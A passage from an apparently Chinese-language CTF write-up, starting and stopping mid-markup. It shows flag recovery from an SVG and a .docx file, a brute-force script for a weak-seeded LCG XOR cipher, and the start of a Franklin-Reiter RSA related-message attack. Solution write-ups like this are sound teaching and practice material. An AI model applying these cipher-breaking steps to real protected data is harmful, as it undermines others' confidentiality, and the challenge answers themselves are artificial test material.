punctuation">"</span></span> <span class="token attr-name">stroke</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#f8efc9<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>36<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-linejoin</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>round<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M803 578Q803 728 746.0 818.5Q689 909 596 909Q504 909 447.5 819.0Q391 729 391 578Q391 426 447.5 336.0Q504 246 596 246Q689 246 746.0 336.5Q803 427 803 578ZM1096 84Q1096 -185 974.5 -304.5Q853 -424 580 -424Q488 -424 398.0 -410.5Q308 -397 215 -369V-100Q298 -146 384.0 -168.0Q470 -190 561 -190Q685 -190 744.0 -131.5Q803 -73 803 51V172Q760 92 689.0 53.0Q618 14 516 14Q324 14 211.0 164.0Q98 314 98 571Q98 837 211.0 993.0Q324 1149 514 1149Q610 1149 685.0 1104.0Q760 1059 803 977V1120H1096Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(0,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M1151 811Q1103 855 1038.5 877.0Q974 899 897 899Q804 899 734.5 866.5Q665 834 627 772Q603 734 593.5 680.0Q584 626 584 516V0H291V1120H584V946Q627 1042 716.0 1094.5Q805 1147 924 1147Q984 1147 1041.5 1132.5Q1099 1118 1151 1090Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(1233,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M616 909Q511 909 451.0 816.5Q391 724 391 559Q391 394 451.0 301.5Q511 209 616 209Q722 209 782.0 301.5Q842 394 842 559Q842 724 782.0 816.5Q722 909 616 909ZM98 559Q98 830 238.5 988.5Q379 1147 616 1147Q854 1147 994.5 988.5Q1135 830 1135 559Q1135 288 994.5 129.5Q854 -29 616 -29Q379 -29 238.5 129.5Q98 288 98 559Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(2466,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token comment">&lt;!-- 中間省略 --></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M180 -143H301Q405 -143 441.0 -100.0Q477 -57 477 86V291Q477 455 526.0 523.0Q575 591 700 612Q574 631 525.5 698.0Q477 765 477 930V1139Q477 1280 441.5 1323.0Q406 1366 301 1366H180V1556H330Q578 1556 661.5 1482.5Q745 1409 745 1188V973Q745 822 799.5 764.5Q854 707 995 707H1057V516H995Q854 516 799.5 458.0Q745 400 745 250V35Q745 -186 661.5 -260.0Q578 -334 330 -334H180Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(46854,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>總共有 39 個 <code>&lt;path&gt;</code>，且注意到每個 <code>&lt;path&gt;</code> 的 <code>transform</code> 中，<code>translate(x,y)</code> 的 <code>x</code> 座標遞增，<code>y</code> 座標固定為 0，因此猜測這段就是 Flag 文字轉圖形。<br>所以也不用管後面在幹嘛，直接把其他部分都刪掉，然後把這串 <code>&lt;g&gt;</code> 拉出 <code>&lt;def&gt;</code>，同時把 <code>fill=&quot;#f8efc9&quot;</code> 改成 <code>fill=&quot;#000000&quot;</code> 方便我們看。</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>svg</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://www.w3.org/2000/svg<span class="token punctuation">"</span></span> <span class="token attr-name">viewBox</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>0 0 577.0 635.0<span class="token punctuation">"</span></span> <span class="token attr-name">width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>577.0<span class="token punctuation">"</span></span> <span class="token attr-name">height</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>635.0<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>s17<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(62.500,454.000) scale(0.009400,-0.009400)<span class="token punctuation">"</span></span> <span class="token attr-name">fill</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#000000<span class="token punctuation">"</span></span> <span class="token attr-name">stroke</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#f8efc9<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>36<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-linejoin</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>round<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M803 578Q803 728 746.0 818.5Q689 909 596 909Q504 909 447.5 819.0Q391 729 391 578Q391 426 447.5 336.0Q504 246 596 246Q689 246 746.0 336.5Q803 427 803 578ZM1096 84Q1096 -185 974.5 -304.5Q853 -424 580 -424Q488 -424 398.0 -410.5Q308 -397 215 -369V-100Q298 -146 384.0 -168.0Q470 -190 561 -190Q685 -190 744.0 -131.5Q803 -73 803 51V172Q760 92 689.0 53.0Q618 14 516 14Q324 14 211.0 164.0Q98 314 98 571Q98 837 211.0 993.0Q324 1149 514 1149Q610 1149 685.0 1104.0Q760 1059 803 977V1120H1096Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(0,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M1151 811Q1103 855 1038.5 877.0Q974 899 897 899Q804 899 734.5 866.5Q665 834 627 772Q603 734 593.5 680.0Q584 626 584 516V0H291V1120H584V946Q627 1042 716.0 1094.5Q805 1147 924 1147Q984 1147 1041.5 1132.5Q1099 1118 1151 1090Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(1233,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>      <span class="token comment">&lt;!-- 中間省略 --></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M180 -143H301Q405 -143 441.0 -100.0Q477 -57 477 86V291Q477 455 526.0 523.0Q575 591 700 612Q574 631 525.5 698.0Q477 765 477 930V1139Q477 1280 441.5 1323.0Q406 1366 301 1366H180V1556H330Q578 1556 661.5 1482.5Q745 1409 745 1188V973Q745 822 799.5 764.5Q854 707 995 707H1057V516H995Q854 516 799.5 458.0Q745 400 745 250V35Q745 -186 661.5 -260.0Q578 -334 330 -334H180Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(46854,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>svg</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>點開圖片看便是 Flag。用個 OCR 把他讀出來就好。</p><h2 id="invisible-editor" tabindex="-1" id="Invisible-Editor">Invisible Editor</h2><p>題目給了一個 <code>.docx</code> 檔案，打開顯示 Did you see the flag?<br>把副檔名改成 <code>.zip</code>，看到有個 <code>customXml/item1.xml</code>，打開滑一下就能找出答案。</p><h1 id="crypto" tabindex="-1">Crypto</h1><h2 id="aperture-science%3A-stream-calibration" tabindex="-1" id="Aperture-Science-Stream-Calibration">Aperture Science: Stream Calibration</h2><blockquote><p>好久沒看到這種 Easy Crypto 了</p></blockquote><p>題目給了以下 <code>encrypt.py</code></p><pre class="line-numbers language-python" data-language="python"><div class="caption"><span>encrypt.py</span></div><code class="language-python"><span class="token comment">#!/usr/bin/env python3</span>MOD <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token number">32</span>A <span class="token operator">=</span> <span class="token number">1664525</span>C <span class="token operator">=</span> <span class="token number">1013904223</span><span class="token keyword">def</span> <span class="token function">keystream</span><span class="token punctuation">(</span>seed<span class="token punctuation">,</span> length<span class="token punctuation">)</span><span class="token punctuation">:</span>    state <span class="token operator">=</span> seed <span class="token operator">&amp;</span> <span class="token number">0xFFFFF</span>    out <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> _ <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>length<span class="token punctuation">)</span><span class="token punctuation">:</span>        state <span class="token operator">=</span> <span class="token punctuation">(</span>A <span class="token operator">*</span> state <span class="token operator">+</span> C<span class="token punctuation">)</span> <span class="token operator">%</span> MOD        out<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token punctuation">(</span>state <span class="token operator">>></span> <span class="token number">24</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>out<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">xor_bytes</span><span class="token punctuation">(</span>left<span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>a <span class="token operator">^</span> b <span class="token keyword">for</span> a<span class="token punctuation">,</span> b <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>left<span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">encrypt</span><span class="token punctuation">(</span>message<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> facility_seed<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">bytes</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> xor_bytes<span class="token punctuation">(</span>message<span class="token punctuation">,</span> keystream<span class="token punctuation">(</span>facility_seed<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以及 <code>ciphertext.txt</code>，裡面是一串 Hex<br>注意到 <code>state = seed &amp; 0xFFFFF</code> 讓 <code>state</code> 的範圍限縮在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mn>0</mn></mrow><annotation encoding="application/x-tex">2^20</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord">0</span></span></span></span>，所以我們只要考慮 <code>seed</code> 從 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mn>0</mn></mrow><annotation encoding="application/x-tex">2^20</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord">0</span></span></span></span> 並爆破即可</p><p>承襲題目給的 code，並加入</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">c <span class="token operator">=</span> <span class="token builtin">bytes</span><span class="token punctuation">.</span>fromhex<span class="token punctuation">(</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"ciphertext.txt"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">for</span> seed <span class="token keyword">in</span> trange<span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">&lt;&lt;</span><span class="token number">20</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    m <span class="token operator">=</span> encrypt<span class="token punctuation">(</span>c<span class="token punctuation">,</span> seed<span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token string">b'grodno&#123;'</span> <span class="token keyword">in</span> m<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span>m<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">break</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因為題目是用 XOR，所以 <code>decrypt</code> 跟 <code>encrypt</code> 長一樣。</p><h2 id="aperture-science%3A-still-alive" tabindex="-1" id="Aperture-Science-Still-Alive">Aperture Science: Still Alive</h2><p>題目給了 <code>public.pem</code> 和如下的 <code>ciphertexts.json</code></p><pre class="line-numbers language-json" data-language="json"><div class="caption"><span>ciphertexts.json</span></div><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"c1"</span><span class="token operator">:</span> <span class="token string">"...(略)"</span><span class="token punctuation">,</span>  <span class="token property">"c2"</span><span class="token operator">:</span> <span class="token string">"...(略)"</span><span class="token punctuation">,</span>  <span class="token property">"a"</span><span class="token operator">:</span> <span class="token number">1337</span><span class="token punctuation">,</span>  <span class="token property">"b"</span><span class="token operator">:</span> <span class="token string">"5577100914618608347433571795909361526455637706263378490"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><s>通靈</s>問 AI 說是 Franklin-Reiter 相關訊息攻擊<br>也就是兩個明文有關係</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>m</mi><mn>2</mn></msub><mo>=</mo><mi>a</mi><mo>∗</mo><msub><mi>m</mi><mn>1</mn></msub><mo>+</mo><mi>b</mi><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">m_2 = a*m_1 + b \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4653em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>如此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>c</mi><mn>1</mn></msub><mo>=</mo><msubsup><mi>m</mi><mn>1</mn><mi>e</mi></msubsup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo><msub><mi>c</mi><mn>2</mn></msub><mo>=</mo><msubsup><mi>m</mi><mn>2</mn><mi>e</mi></msubsup><mo>=</mo><mo stretchy="false">(</mo><mi>a</mi><msub><mi>m</mi><mn>1</mn></msub><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mi>e</mi></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">c_1 = m_1^e \pmod{N}c_2 = m_2^e = (am_1+b)^e \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9614em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9614em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">m_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>f</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>c</mi><mn>1</mn></msub><mo>−</mo><msup><mi>x</mi><mi>e</mi></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f_1(x) = c_1 - x^e \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7144em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span 